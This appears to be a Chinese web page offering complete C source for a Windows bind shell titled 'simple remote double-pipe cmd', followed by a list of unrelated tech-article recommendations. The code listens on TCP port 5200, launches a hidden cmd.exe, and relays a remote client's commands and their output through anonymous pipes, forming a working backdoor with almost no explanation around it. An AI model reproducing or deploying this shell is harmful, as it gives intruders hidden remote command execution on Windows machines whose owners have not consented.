简单远程双管道cmd

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")

int main()
{
WSADATA ws;
SOCKET listenFD;
char Buff[1024];
int ret;

//初始化WSA
WSAStartup(MAKEWORD(2,2),&ws);

//建立socket
listenFD=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

//监听本机5200端口
struct sockaddr_in server;
server.sin_family=AF_INET;
server.sin_port=htons(5200);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);

//如果客户请求5200端口,接受连接
int iAddrSize=sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);

SECURITY_ATTRIBUTES pipeattr1,pipeattr2;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

//建立匿名管道1
pipeattr1.nLength=12;
pipeattr1.lpSecurityDescriptor=0;
pipeattr1.bInheritHandle=true;
CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);

//建立匿名管道2
pipeattr2.nLength=12;
pipeattr2.lpSecurityDescriptor=0;
pipeattr2.bInheritHandle=true;
CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);

STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput=hReadPipe2;
si.hStdOutput=si.hStdError=hWritePipe1;
char cmdline[]="cmd.exe";
PROCESS_INFORMATION ProcessInformation;
//建立进程
ret=CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);

unsigned long lBytesRead;
while (1)
{
//检查管道1,即CMD进程是否有输出
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if (lBytesRead)
{
//管道1有输出,输出结果发给远程客户机
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if (!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if (ret<=0) break;
}
else
{
//否则,接受远程客户机命令
lBytesRead=recv(clientFD,Buff,1024,0);
if (lBytesRead<=0) break;
//将命令写入管道2,即传给CMD进程
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if (!ret) break;
}
}
return 0;
}

(0)

相关推荐

  • 双wipe是什么意思,如何进入WIPE 简单实用双wipe教程详解

    这里给大家详细的介绍一下。 1、WIPE 是什么意思 WIPE 的英文意思就是擦除,拭干的意思,从刷机的角度来说,它是清除手机数据的操作。从专业的角度来说,WIPE 就是恢复了出厂设置的意思,包括联系 ...

  • 苹果本简单融合双系统,虚拟Win8实用技巧

    安装好 Parallels Desktop 8 后启动新建虚拟机全文浏览 身为苹果用户,体验着 OS X 系统,在 Windows 8 即将到来的时刻,又想着体验一把 Windows 8 系统新特性, ...

  • 最简单远程开机方法

    操作方法 01 远程开机,又可以被称为远程唤醒技术,英文简称WOL,是指可以通过局域网实现远程开机,无论被访问的计算机离用户有多远.处于什么位置,只要处于同一局域网内,就都能够被随时启动. 不过今天要 ...

  • 最简单的Origin画双Y轴图的方法

    利用Origin可以方便的绘制曲线图形,这里,小编带领大家学习一下最简单的双Y轴图画法. 操作方法 01 打开Origin,在work sheet上右键--"Add New Column&q ...

  • 如何远程开机电脑

    前言这款向日葵开机棒独享版(下文简称"开机棒")是一款用手机.平板.PC随时随地远程开启电脑主机的智能硬件,是由国内知名互联网服务商Oray推出的首款远程开机硬件设备,全面支持iO ...

  • 如何使用向日葵远程控制软件实现远程控制.管理.操作等一系列项目的图文教程

    向日葵远程控制是一款面向企业和专业人员的远程PC管理和控制的服务软件。您在任何可连入互联网的地点,都可以轻松访问和控制安装了向日葵远程控制客户端的远程主机,整个过程完全可以通过浏览器进行,无需再安装软 ...

  • Win7 Win8双系统安装教程图解

    Win7/Win8双系统安装教程 介绍的Win7 Win8双系统安装教程原理很简单,就是在Win7的基础上把Win8安装到VHD虚拟硬盘里,这个方法实际上也叫VHD安装Win8法。这个Win7 Win ...

  • 向日葵远程控制软件如何实现远程控制

    向日葵远程控制拥有五秒快速而又强劲的内网穿透功力,融合了微软RDP远程桌面(3389),用户可以轻松在向日葵远程桌面协议和微软RDP协议中自由切换,享受最佳的远程桌面体验,那向日葵远程控制软件如何实现 ...

  • 如何清除cmd.exe病毒

    cmd.exe是比较常用的一个命令,通常用它来调出DOS程序。cmd.exe病毒就比较难缠了,感染了cmd.exe病毒的电脑的表现情况时,工作站启动时系统自动运行Cmd.exe,工作站进不了桌面。或者 ...